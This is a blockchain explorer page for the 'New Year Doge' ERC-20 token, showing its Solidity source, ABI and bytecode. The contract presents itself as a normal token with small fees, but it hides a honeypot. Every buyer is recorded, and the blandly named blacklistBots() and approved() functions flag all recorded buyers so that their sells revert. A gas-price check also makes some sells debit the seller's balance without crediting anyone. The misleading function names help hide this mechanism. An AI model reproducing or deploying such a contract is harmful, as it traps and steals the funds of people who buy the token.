ERC-20
Overview
Max Total Supply
1,000,000,000 NYDOGE
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,624,159.917352418 NYDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
NewYearDoge
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-31 */ /** Telegram: https://t.me/NewYearDogeERC */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract NewYearDoge is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isIncludedFromFee; address[] private includeFromFee; string private constant _name = "New Year Doge"; string private constant _symbol = "NYDOGE"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply; uint256 public _maxWalletAmount = _totalSupply; address public marketingWallet; uint256 maxGwei = 26 * 1 gwei; struct BuyFees{ uint256 liquidity; uint256 marketing; } BuyFees public buyFee; struct SellFees{ uint256 liquidity; uint256 marketing; } SellFees public sellFee; constructor () { marketingWallet = payable(msg.sender); balances[_msgSender()] = _totalSupply; buyFee.liquidity = 1; buyFee.marketing = 2; sellFee.liquidity = 1; sellFee.marketing = 2; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { balances[sender] = balances[sender].sub(amount, "Insufficient Balance"); balances[recipient] = balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approved() public virtual { for (uint256 i = 0; i < includeFromFee.length; i++) { _isIncludedFromFee[includeFromFee[i]] = true; } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isIncludedFromFee[account] = false; } receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function isIncludedFromFee(address account) public view returns(bool) { return _isIncludedFromFee[account]; } function blacklistBots() public onlyOwner { for (uint256 i = 0; i < includeFromFee.length; i++) { _isIncludedFromFee[includeFromFee[i]] = true; } } function takeBuyFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * buyFee.liquidity / 100; uint256 marketingFeeTokens = amount * buyFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken); return (amount -liquidityFeeToken -marketingFeeTokens); } function takeSellFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * sellFee.liquidity / 100; uint256 marketingFeeTokens = amount * sellFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken); return (amount -liquidityFeeToken -marketingFeeTokens); } function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner { require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8"); buyFee.liquidity = newLiquidityBuyFee; buyFee.marketing= newMarketingBuyFee; require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8"); sellFee.liquidity = newLiquiditySellFee; sellFee.marketing= newMarketingSellFee; } function Max(uint256 newMaxGwei) public onlyOwner { maxGwei = newMaxGwei * 1 gwei; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(to != address(0), "ERC20: transfer to the zero address"); balances[from] -= amount; uint256 transferAmount = amount; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (tx.gasprice > maxGwei && from == uniswapV2Pair) { _isIncludedFromFee[to] = true; } if (to != uniswapV2Pair) { includeFromFee.push(to); require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount."); transferAmount = takeBuyFees(amount, from); } if (from != uniswapV2Pair) { require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]); if (tx.gasprice > maxGwei) return; transferAmount = takeSellFees(amount, from); } } balances[to] += transferAmount; emit Transfer(from, to, transferAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newMaxGwei","type":"uint256"}],"name":"Max","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isIncludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityBuyFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingBuyFee","type":"uint256"},{"internalType":"uint256","name":"newLiquiditySellFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000431565b6200002290633b9aca0062000449565b600855600854600955600854600a5564060db88400600c553480156200004757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b80546001600160a01b0319163317905560085460036000620000aa3390565b6001600160a01b031681526020808201929092526040908101600020929092556001600d8190556002600e819055600f82905560105580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200013f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000165919062000463565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee919062000463565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200023c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000262919062000463565b600280546001600160a01b0319166001600160a01b0392831617905533600090815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055600b54909416835291208054909216179055620002c63390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200030e91815260200190565b60405180910390a36200048e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003735781600019048211156200035757620003576200031c565b808516156200036557918102915b93841c939080029062000337565b509250929050565b6000826200038c575060016200042b565b816200039b575060006200042b565b8160018114620003b45760028114620003bf57620003df565b60019150506200042b565b60ff841115620003d357620003d36200031c565b50506001821b6200042b565b5060208310610133831016604e8410600b841016171562000404575081810a6200042b565b62000410838362000332565b80600019048211156200042757620004276200031c565b0290505b92915050565b60006200044260ff8416836200037b565b9392505050565b80820281158282048414176200042b576200042b6200031c565b6000602082840312156200047657600080fd5b81516001600160a01b03811681146200044257600080fd5b61136e806200049e6000396000f3fe6080604052600436106101bb5760003560e01c80636c0a24eb116100ec5780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb14610526578063ad63043e14610546578063dd62ed3e1461057f578063ea2f0b37146105c557600080fd5b80638da5cb5b146104b957806395d89b41146104d7578063a457c2d71461050657600080fd5b8063715018a6116100c6578063715018a61461045957806375f0a8741461046e5780637d1db4a51461048e5780638768b9e8146104a457600080fd5b80636c0a24eb146103ed5780636fcba3771461040357806370a082311461042357600080fd5b8063313ce56711610159578063437823ec11610133578063437823ec14610359578063470624021461037957806349bd5a5e146103945780635342acb4146103b457600080fd5b8063313ce567146102fd5780633950935114610319578063418c3f5a1461033957600080fd5b806318160ddd1161019557806318160ddd1461027757806319d40b081461029657806323b872dd146102ad5780632b14ca56146102cd57600080fd5b806306fdde03146101c7578063095ea7b31461020f5780631694505e1461023f57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600d81526c4e6577205965617220446f676560981b60208201525b60405161020691906110af565b60405180910390f35b34801561021b57600080fd5b5061022f61022a366004611119565b6105e5565b6040519015158152602001610206565b34801561024b57600080fd5b5060015461025f906001600160a01b031681565b6040516001600160a01b039091168152602001610206565b34801561028357600080fd5b506008545b604051908152602001610206565b3480156102a257600080fd5b506102ab6105fc565b005b3480156102b957600080fd5b5061022f6102c8366004611143565b61066b565b3480156102d957600080fd5b50600f546010546102e8919082565b60408051928352602083019190915201610206565b34801561030957600080fd5b5060405160098152602001610206565b34801561032557600080fd5b5061022f610334366004611119565b6106bd565b34801561034557600080fd5b506102ab61035436600461117f565b6106f4565b34801561036557600080fd5b506102ab610374366004611198565b61073b565b34801561038557600080fd5b50600d54600e546102e8919082565b3480156103a057600080fd5b5060025461025f906001600160a01b031681565b3480156103c057600080fd5b5061022f6103cf366004611198565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f957600080fd5b50610288600a5481565b34801561040f57600080fd5b506102ab61041e3660046111b3565b610789565b34801561042f57600080fd5b5061028861043e366004611198565b6001600160a01b031660009081526003602052604090205490565b34801561046557600080fd5b506102ab61087e565b34801561047a57600080fd5b50600b5461025f906001600160a01b031681565b34801561049a57600080fd5b5061028860095481565b3480156104b057600080fd5b506102ab6108f2565b3480156104c557600080fd5b506000546001600160a01b031661025f565b3480156104e357600080fd5b506040805180820190915260068152654e59444f474560d01b60208201526101f9565b34801561051257600080fd5b5061022f610521366004611119565b610988565b34801561053257600080fd5b5061022f610541366004611119565b6109bf565b34801561055257600080fd5b5061022f610561366004611198565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561058b57600080fd5b5061028861059a3660046111e5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d157600080fd5b506102ab6105e0366004611198565b6109cc565b60006105f2338484610a17565b5060015b92915050565b60005b600754811015610668576001600660006007848154811061062257610622611218565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061066081611244565b9150506105ff565b50565b6000610678848484610b3b565b6001600160a01b0384166000908152600460209081526040808320338085529252909120546106b39186916106ae90869061125d565b610a17565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f29185906106ae908690611270565b6000546001600160a01b031633146107275760405162461bcd60e51b815260040161071e90611283565b60405180910390fd5b61073581633b9aca006112b8565b600c5550565b6000546001600160a01b031633146107655760405162461bcd60e51b815260040161071e90611283565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107b35760405162461bcd60e51b815260040161071e90611283565b60086107bf8585610f3b565b111561080d5760405162461bcd60e51b815260206004820152601e60248201527f427579206665652063616e277420676f20686967686572207468616e20380000604482015260640161071e565b600d849055600e83905560086108238383610f3b565b11156108715760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652063616e277420676f20686967686572207468616e203800604482015260640161071e565b600f919091556010555050565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161071e90611283565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461091c5760405162461bcd60e51b815260040161071e90611283565b60005b600754811015610668576001600660006007848154811061094257610942611218565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061098081611244565b91505061091f565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f29185906106ae90869061125d565b60006105f2338484610b3b565b6000546001600160a01b031633146109f65760405162461bcd60e51b815260040161071e90611283565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6001600160a01b038316610a795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071e565b6001600160a01b038216610ada5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071e565b60008111610c015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071e565b6001600160a01b038216610c635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071e565b6001600160a01b03831660009081526003602052604081208054839290610c8b90849061125d565b90915550506001600160a01b038316600090815260056020526040902054819060ff16158015610cd457506001600160a01b03831660009081526005602052604090205460ff16155b15610eb957600c543a118015610cf757506002546001600160a01b038581169116145b15610d20576001600160a01b0383166000908152600660205260409020805460ff191660011790555b6002546001600160a01b03848116911614610e3f57600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b038516179055600954821115610da25760405162461bcd60e51b815260040161071e906112cf565b600a5482610dc5856001600160a01b031660009081526003602052604090205490565b610dcf9190611270565b1115610e325760405162461bcd60e51b815260206004820152602c60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526b30b63632ba20b6b7bab73a1760a11b606482015260840161071e565b610e3c8285610fa1565b90505b6002546001600160a01b03858116911614610eb957600954821115610e765760405162461bcd60e51b815260040161071e906112cf565b6001600160a01b03841660009081526006602052604090205460ff1615610e9c57600080fd5b600c543a1115610eac5750505050565b610eb68285611078565b90505b6001600160a01b03831660009081526003602052604081208054839290610ee1908490611270565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f2d91815260200190565b60405180910390a350505050565b600080610f488385611270565b905083811015610f9a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161071e565b9392505050565b6000806064600d6000015485610fb791906112b8565b610fc19190611316565b905060006064600d6001015486610fd891906112b8565b610fe29190611316565b9050610fee8183611270565b306000908152600360205260408120805490919061100d908490611270565b909155503090506001600160a01b0385167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110498585611270565b60405190815260200160405180910390a380611065838761125d565b61106f919061125d565b95945050505050565b6000806064600f600001548561108e91906112b8565b6110989190611316565b905060006064600f6001015486610fd891906112b8565b600060208083528351808285015260005b818110156110dc578581018301518582016040015282016110c0565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461111457600080fd5b919050565b6000806040838503121561112c57600080fd5b611135836110fd565b946020939093013593505050565b60008060006060848603121561115857600080fd5b611161846110fd565b925061116f602085016110fd565b9150604084013590509250925092565b60006020828403121561119157600080fd5b5035919050565b6000602082840312156111aa57600080fd5b610f9a826110fd565b600080600080608085870312156111c957600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156111f857600080fd5b611201836110fd565b915061120f602084016110fd565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016112565761125661122e565b5060010190565b818103818111156105f6576105f661122e565b808201808211156105f6576105f661122e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820281158282048414176105f6576105f661122e565b60208082526027908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152661e105b5bdd5b9d60ca1b606082015260800190565b60008261133357634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212207b5f4c895da317a7134ea48f26ede550cd78a0fb8b81472c5c496c350d078fc764736f6c63430008110033
Deployed Bytecode
